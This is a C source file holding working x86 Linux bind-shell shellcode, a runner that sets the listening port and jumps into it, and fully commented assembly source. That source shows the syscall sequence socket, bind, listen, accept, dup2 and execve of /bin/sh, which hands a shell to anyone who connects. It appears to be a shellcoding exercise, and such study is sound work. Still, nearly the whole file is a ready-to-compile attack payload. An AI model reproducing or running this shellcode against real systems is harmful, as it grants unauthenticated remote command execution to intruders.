/*===================================================================*/
/*
Filename: bindshell.c
Author: JollyFrogs (LookoutFrog@gmail.com)
License: This work is licensed under a Creative Commons
Attribution-NonCommercial 4.0 International License.
Compile:
gcc -m32 -fno-stack-protector -z execstack bindshell.c -o bindshell
*/
#include <stdio.h>
#include <string.h>
#include <stdbool.h>
unsigned char shellcode[] = \
"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
"\x5b\x58\x66\xb8\x15\xb3\x66\x50\x66\x53\x89\xe1\x31\xc0\xb0\x10"
"\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x50\x57\xb0\x66\x43\x43\x89"
"\xe1\xcd\x80\xb0\x66\x43\xcd\x80\x93\x87\xcf\x49\xb0\x3f\xcd\x80"
"\x75\xf9\x50\x59\x50\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x87\xe3\xcd\x80";
static bool shellcode_zerocheck() {
// initialize counter
int i = 0;
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(shellcode)-1; i++) {if (shellcode[i] == '\x00') return false;}
// Return true if no zeroes found
return true;
}
static bool shellcode_setport(char *buf, int port) {
// Check if decimal port is valid
if (port<1024 || port>65535) return false;
// The offset of the port is 21, but reduce by 1 since the array counts from 0
int shellcode_port_offset = 20; // (\x15\xb3)
// convert decimal port to hexidecimal
*(short *)(buf+shellcode_port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
// Swap port bytes to accomodate for Little Endian memory structure
char tmp = buf[shellcode_port_offset];
buf[shellcode_port_offset] = buf[shellcode_port_offset+1];
buf[shellcode_port_offset+1] = tmp;
// Check if the hexidecimal port contains zeroes, if it does then show an error
if (shellcode[20] == '\x00' || shellcode[21] == '\x00') {
printf("port HEX contains zeroes\n"); return false;
}
// Return true if all checks passed
return true;
}
main () {
// Port in decimal - should be higher than 1024 and lower than 65536
int port = 1234;
// Basic error checking
if (!shellcode_setport(shellcode, port)) {printf("ERROR: Invalid port\n");return 0;}
if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
// Print shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcode));
// Run assembly commands
__asm__ (
// Initialize registers
"movl $0x12345678, %eax\n\t"
"movl $0x12345678, %ebx\n\t"
"movl $0x12345678, %ecx\n\t"
"movl $0x12345678, %edx\n\t"
"movl $0x12345678, %edi\n\t"
"movl $0x12345678, %esi\n\t"
"movl $0x12345678, %ebp\n\t"
// execute shellcode
"jmp shellcode");
}
/* Assembly source of shellcode:
global _start
section .text
_start:
; parameters for SOCKET(2) are placed on the stack in reverse order
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
; Before instruction "int 0x80" the stack should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET ^S_STREAM ^TCP
xor eax, eax ; EAX = 00000000
push eax ; PUSH 00000000 (TCP)
inc eax ; EAX = 00000001
push eax ; PUSH 00000001 (SOCK_STREAM)
pop ebx ; EBX = 00000001 (SOCKETCALL.SOCKET)
push eax ; PUSH 00000001 (SOCK_STREAM)
inc eax ; EAX = 00000002
push eax ; PUSH 00000002 (AF_INET)
; invoke socketcall to create the socket
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3E4)
int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)
xchg edi, eax ; store fd in edi
; parameters for BIND(2) are placed on the stack in reverse order
; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
; ^FD ^ ^structlen ^AFNT ^port ^in_addr
; | PTR to ---------------^
pop ebx ; EBX = 00000002 (SOCKETCALL.BIND)
pop eax ; EAX = 00000001
; Note: Stack = 00000000
mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed)
push ax ; PUSH B315 (sockaddr_2)
push bx ; PUSH 0002 (sockaddr_3)
mov ecx, esp ; ECX = ESP (0xBFFFF3E8)
xor eax, eax ; EAX = 00000000
mov al, 0x10 ; EAX = 00000010
push eax ; PUSH 00000010 (len(sockaddr))
push ecx ; PUSH (*ADDR) (ptr to sockaddr)
push edi ; push (FD) (SOCKFD)
; invoke socketcall to bind the socket to IP and port
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3DC)
int 0x80 ; SYSCALL SOCKETCALL(2)-BIND(2)
; parameters for LISTEN(2) are placed on the stack in reverse order
; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00
; ^FD ^Backlog = 0
; Note that EAX = 00000000 due to return code from SOCKETCALL above
push eax ; PUSH 00000000 (Backlog)
push edi ; PUSH (FD) (SOCKFD)
; invoke socketcall to set the socket in listen mode
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
inc ebx ; EBX = 00000003
inc ebx ; EBX = 00000004 (SOCKETCALL.LISTEN)
mov ecx, esp ; ECX = points to top of stack (0xBFFFF3D4)
int 0x80 ; SYSCALL SOCKETCALL(2)-LISTEN(2)
; Note: The selected port is opened on the system and listening
; parameters for ACCEPT(2) are placed on the stack in reverse order
; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00 00 00 00 00
; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
; Note that stack at 0xBFFFF3D4 already contains what I need:
; 07 00 00 00 00 00 00 00 00 00 00 00
; invoke socketcall to set the socket to accept connections
mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
inc ebx ; EBX = 00000005 (SOCKETCALL.ACCEPT)
int 0x80 ; SYSCALL SOCKETCALL(2)-ACCEPT(2)
; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
xchg eax, ebx ; EBX = CFD, EAX = 00000005
xchg ecx, edi ; ECX = 00000007
; XCHG ECX, EDI saves us having to zero out ecx and then MOV 3
redirect:
dec ecx ; ECX = 00000002 (eventually)
mov al, 0x3f ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
int 0x80 ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
jnz redirect ;
; spawn /bin/sh shell
; Note that EAX is set to 00000000 upon last succesful execution of DUP2
push eax ; PUSH 00000000 (NULL byte)
pop ecx ; ECX = 00000000 (EXECVE ARGV)
push eax ; PUSH 00000000 (NULL byte)
pop edx ; EDX = 00000000 (EXECVE ENVP)
; push '/bin//sh, 0' on stack
push eax ; PUSH 00000000 (NULL byte)
mov al, 0xb ; EXECVE(2)
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
xchg esp, ebx ; Save a byte by sacrificing unneeded ESP
int 0x80 ; Start /bin/sh in the client socket FD
*/
/*===================================================================*/
